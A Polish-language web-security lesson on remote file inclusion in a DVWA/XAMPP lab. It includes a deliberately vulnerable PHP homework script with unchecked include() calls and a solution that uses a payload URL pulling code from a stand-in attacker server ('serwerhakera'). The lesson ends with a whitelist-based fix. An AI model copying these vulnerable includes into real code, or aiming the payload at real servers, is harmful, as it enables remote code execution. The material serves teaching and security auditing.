WEP lekcja #12 – Atak RFI (remote file inclusion) i User-Agent w DVWA

Dzisiaj demonstrujemy atak RFI, który umożliwia dołączanie zdalnej złośliwej zawartości wraz z kodem PHP, JavaScript lub ewentualnie HTML. Remote File Inclusion jest odmianą ataku LFI opisanego w lekcji 11. Tym razem zamiast możliwości pobierania i wykonywania lokalnego złośliwego kodu stosuje się plik umieszczony na zewnętrznym serwerze www.

Podatność jest związana z błędnym weryfikowaniem przez programistę przesyłanych danych od użytkownika web aplikacji. Serwer musi mieć również włączone w pliku konfiguracyjnym php.ini takie dyrektywy jak allow_url_include lub allow_url_fopen (zależnie od kodu źródłowego). Do poszukiwania tego typu luk i w tym przypadku możesz użyć skanera podatności fimap, który dostępny jest za darmo w systemie Kali Linux. Największą ciekawostką tej lekcji jest demonstracja potencjalnego włamania hakera za pomocą zmiany nagłówka nazwy przeglądarki (User-Agent).

Materiał wideo o ataku RFI, czyli remote file inclusion

Dzisiejszy materiał zapozna Ciebie z atakiem remote file include, sposobem konfiguracji języka PHP z pomocą pliku php.ini w środowisku XAMPP i ciekawym atakiem LFI wykorzystującym nazwę Twojej przeglądarki internetowej i access.log lub dowolny inny plik śledzący internautę pod tym względem.

Konfiguracja php.ini do RFI

Podatność RFI jest związana z włączoną możliwością includowania i otwierania zewnętrznych plików za pomocą adresu URL. Konfiguracje języka PHP możesz wykonać w pliku domyślnie znajdującym się C:\xampp\php\php.iniWystarczy w tym pliku odszukać następujące dyrektywy:

allow_url_fopen=On
;dalsza część pliku
allow_url_include=On

Zwróć uwagę na prostą budowę pliku php.ini. Linijki komentarzy lub wyłączonych dyrektyw konfiguracyjnych są poprzedzone średnikiem. Większość opcji ustawiasz za pomocą wartości On (włączona) lub Off (wyłączna). Niektóre linie konfiguracyjne przyjmują nieco inne parametry takie jak dla przykładu ścieżki do innych plików konfiguracyjnych lub bibliotek.

Po zmianie ustawień php powinneś ponownie uruchomić serwer HTTP. W XAMPP wystarczy że wciśniesz stop a po chwili start usługi Apache. W Linuksie do zarządzania usługami serwera możesz wykorzystać narzędzie service (usługa). Poniżej znajduje się kilka przykładowych komend które prawdopodobnie po samej budowie zrozumiesz:

service apache2 start
service apache2 stop
service apache2 restart
service apache2 status
service mysql start

Powyższe polecenia zwracają informacje podobne do tych na poniższym zrzucie ekranu.

Kali Linux start usługi serwera www i status apache2 w konsoli pod atak RFI.
Uruchomienie serwera HTTP apache w systemie Kali Linux i sprawdzenie jego statusu. Uruchamiamy go w celu wykonania ataku RFI. Można wykorzystać również hosting zewnętrzny.

Polecam Tobie przy okazji zapoznać się z komendą find w systemie Kali Linux. Jeśli chciałbyś wyszukać plik php.ini w całym systemie plików wystarczy, że wydasz w terminalu następujące polecenie:

find / -name php.ini

Zadanie domowe do lekcji #10

-> Zadanie 1

Znajdź w poniższym skrypcie najlepiej bez patrzenia na kod PHP za pomocą znanych Ci metod i narzędzi wszystkie luki LFI i RFI (pamiętaj o ustawieniach php.ini). Odpowiedz na pytanie ile znalazłeś luk?

Skrypt o nazwie strona.php:

<h1>Witaj w naszym fikcyjnym sklepie haker.edu.pl</h1>
<a href="strona.php?id=idz"> Idz do id sklepu </a><br>
<a href="strona.php?com=wykonaj"> Wykonaj komende w sklepie </a><br>
<a href="strona.php?cat=produkty"> Zobacz kategorie </a><br>
<a href="strona.php?katalog=oprogramowanie"> Znajdz katalog </a><br>
<a href="strona.php?item=linux"> Wybierz produkt </a><br>
<a href="strona.php?shop=opensoruce"> Idz do sklepu </a><br>
<a href="strona.php?login=yes"> zaloguj sie </a><br>
<a href="strona.php?admin=pw"> Napisz do admina</a><br>
<br>
<?php
if (isset($_GET['id']))
{
   $a = 2;
   $b = 5;
   $c = 1;
   while (false) {
	   include($b);
   }
	echo ($_GET['id']);
}

if (isset($_GET['com']))
{
	@include($_GET['com'].'.txt');
}

if (isset($_GET['cat']))
{
	echo($_GET['cat']);
}

if (isset($_GET['katalog']))
{
	include($_GET['katalog']);
}

if (isset($_GET['shop']))
{
	print($_GET['shop']);
}
if (isset($_GET['item']))
{
	include($_GET['item']);
}

if (isset($_GET['login']))
{
	if (false) {
		include($_GET['login']);
	}
	@include($_GET['login']);
	echo($_GET['login']);
}

if (isset($_GET['admin']))
{
	if (isset($_GET['admin']) && isset($id) && $id==1) {
		$abc = $_GET['admin'];
		print($abc);
	}
}
?>
Podpowiedź do zadania nr 1 - jeśli nie dajesz rady lub rozwiązałeś to spójrz!

Czy wiesz, ze w tym skrypcie istnieją aż cztery luki LFI/RFI a nie dwie? ;-). W treści pisze żebyś wykorzystał wszystkie znane Ci metody i narzędzia. Ręcznie też sprawdziłeś, bo to podstawa audytów bezpieczeństwa prawda?

W tym momencie możesz zajrzeć już do kodu PHP. Przypominam o operatorze tłumienia błędów „@” o którym kiedyś wspomniałem. Nigdy nie ufaj zautomatyzowanym narzędziom!

Uwaga! Rozwiązanie 1. Nie psuj sobie zabawy!

Podatności LFI/RFI znajdują się:

http://192.168.0.14/strona.php?com=TUTAJ.txt

http://192.168.0.14/strona.php?katalog=TUTAJ

http://192.168.0.14/strona.php?item=TUTAJ

http://192.168.0.14/strona.php?login=TUTAJ

Jeśli przypadek pierwszy Cię zastanawia to Cię uspokoję. Zawsze możesz przeglądać tylko pliki tekstowe na serwerze, spróbować metody null byte %00 lub co najważniejsze… wykorzystać atak RFI umieszczając na swoim serwerze audytorskim następujący plik: http://serwerhakera/plik.txt.

Teraz wystarczy, że spróbujesz wpisać w adresie http://192.168.0.14/strona.php?com=http://serwerhakera/plik a resztę zrobi za Ciebie dziurawy kod PHP doklejający rozszerzenie..

Podsumowanie o LFI i RFI

Dzisiaj kończymy już cykl o tych bliźniaczych atakach umożliwiających dołączanie i wykonywanie złośliwego kodu napastnika. Musisz wiedzieć, że tego typu luka nie dotyczy tylko języka PHP. Sednem problemu jest po prostu nie sprawdzenie przez programistę, czy przesyłane informacje od internauty są dopuszczalne.

Najlepszą metodą jest po prostu w kodzie źródłowym umieszczenie na sztywno nazw dołączanych plików takich jak np: index.php, login.php, newsy.php itd. Następie programista mógłby w następujący sposób dołączać pliki:

if (isset($_GET['page']) &&  $_GET['page']=='index') {
   include('index.php');
} else if (isset($_GET['page']) &&  $_GET['page']=='news') {
   include('news.php');
} else {
   echo('Bląd! Taka strona nie istnieje!');
   //rejestrowanie potencjalnej próby włamania (IP)
}

Zasada ograniczonego zaufania to podstawa. Mam nadzieje, że dogłębnie zrozumiałeś już ten temat i potrafisz w sposób manualny, jak i z wykorzystaniem takich narzędzi jak fimap i Burp Suite wyszukiwać podatności tego typu. Powodzenia w pracy domowej! 😉

Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *